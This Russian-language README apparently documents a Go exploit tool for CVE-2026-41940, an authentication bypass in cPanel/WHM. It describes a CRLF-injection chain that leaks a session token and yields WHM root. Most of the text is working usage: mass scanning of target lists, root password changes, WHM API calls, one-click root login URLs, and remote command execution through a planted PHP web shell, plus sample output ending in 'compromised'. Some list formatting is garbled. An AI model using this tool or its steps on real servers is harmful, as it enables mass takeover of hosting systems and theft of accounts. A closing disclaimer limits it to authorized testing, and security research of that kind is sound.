
Go-сканер и эксплойт-инструмент для CVE-2026-41940, обхода аутентификации в cPanel/WHM. Поддерживает массовое сканирование, утечку токенов и действия после эксплуатации, такие как RCE, смена пароля и вызовы API.
Инструмент командной строки на Go, переписанный на основе Python PoC от watchTowr, для обнаружения и эксплуатации уязвимости обхода аутентификации CVE-2026-41940 в cPanel/WHM.
CVE-2026-41940 — это уязвимость обхода аутентификации в cPanel/WHM, где цепочка атак через CRLF-инъекцию в заголовок Basic Auth приводит к утечке токена безопасности и получению root-доступа к WHM.
Цепочка атак из 4 этапов:
/login/ для получения исходного cookie whostmgrsessionAuthorization: Basic, чтобы заставить сервер раскрыть токен безопасности cpsess в заголовке Location при 307-редиректеdo_token_denied для распространения внедренных данных аутентификации из исходного хранилища в кэш/json-api/version и проверки получения root-правhttp://, https://, форматом без протокола, автоматическая дедупликация-passwd)-api)-session)-cmd)[VULN] красным, [SAFE] зеленым# Требуется Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Параметр | Описание | Пример |
|---|---|---|
-u | URL одной цели | -u https://1.2.3.4:2087 |
-f | Файл со списком URL | -f targets.txt |
-o | Путь к выходному файлу (по умолчанию result.txt) | -o vuln.txt |
-c | Количество одновременных проверок (по умолчанию 10) | -c 20 |
-hostname | Указать заголовок Host вручную (по умолчанию автоопределение) | -hostname cpanel.example.com |
-passwd | Сменить root-пароль (только режим -u) | -passwd NewP@ss123 |
-api | Вызвать функцию WHM API (только режим -u) | -api listaccts |
-api-params | Параметры WHM API, через запятую | -api-params user=root,password=123 |
-session | Сгенерировать URL входа root в один клик (только режим -u) | -session |
-keep | Не удалять временную учетную запись RCE (в сочетании с -cmd) | -keep |
-cmd | Выполнить удаленную команду / RCE (только режим -u) | -cmd "id" |
./cpanel-checker -u https://target:2087
Порт по умолчанию — 2087, следующие записи эквивалентны:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt поддерживает следующие форматы (по одному на строку, строки, начинающиеся с #, — комментарии):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# это комментарий
http://1.1.1.1 и https://1.1.1.1 считаются одной целью, сканируются один разhttps://2087result.txt (можно изменить через -o)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# Список всех учетных записей
./cpanel-checker -u https://target:2087 -api listaccts
# Вызов с параметрами
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Выводится URL, открыв который в браузере, вы попадете в панель управления WHM. В панели используйте функцию Terminal для получения интерактивной root-оболочки.
Примечание:
-session— полуавтоматический — после генерации URL входа инструментом, вам нужно вручную открыть его в браузере.
./cpanel-checker -u https://target:2087 -cmd "id"
Добавьте -keep, чтобы сохранить временную учетную запись для входа в панель cPanel:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
При использовании -keep вывод будет содержать имя пользователя, пароль и адрес входа в cPanel (https://host:2083) временной учетной записи — используйте эти учетные данные для входа в панель cPanel.
-cmd — полностью автоматический, не требует ручных действий. Внутренний процесс:
~/public_html/ через UAPI (Fileman::save_file_content)https://host/~tmpuser/shell.phpПредварительное условие: порт 80 или 443 цели должен быть доступен, и Apache/httpd должен работать.
Несколько параметров эксплуатации можно использовать одновременно:
# Одновременно получить URL входа, выполнить команду и сменить пароль
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
Когда IP-адрес цели не совпадает с именем хоста, настроенным в cPanel, его можно указать вручную:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
По умолчанию инструмент автоматически определяет правильное имя хоста через 307-редирект /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Сканирование завершено ==========
Всего: 5 | Уязвимых: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Результаты сохранены в result.txt
[*] Цель: https://target:2087
[*] Режим: эксплуатация
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] Получены root-права WHM
[*] Выполнение удаленной команды (RCE)...
[a] Создание временной учетной записи: tmpabcde
[b] Запись шелла: /home/tmpabcde/public_html/random.php
[c] Выполнение команды: id
[d] Удаление временной учетной записи: tmpabcde
[+] Вывод команды:
uid=0(root) gid=0(root) groups=0(root)
[+] Готово. https://target:2087 скомпрометирован
-passwd, -api, -session, -cmd) доступны только в режиме одной цели -u, не поддерживаются в пакетном режиме -f# в файле URL, игнорируютсяДанный инструмент предназначен только для авторизованного тестирования безопасности и исследовательских целей. Тестирование систем без авторизации является незаконным. Пользователь должен убедиться, что получил явное письменное разрешение от владельца целевой системы. Автор не несет ответственности за любое злоупотребление.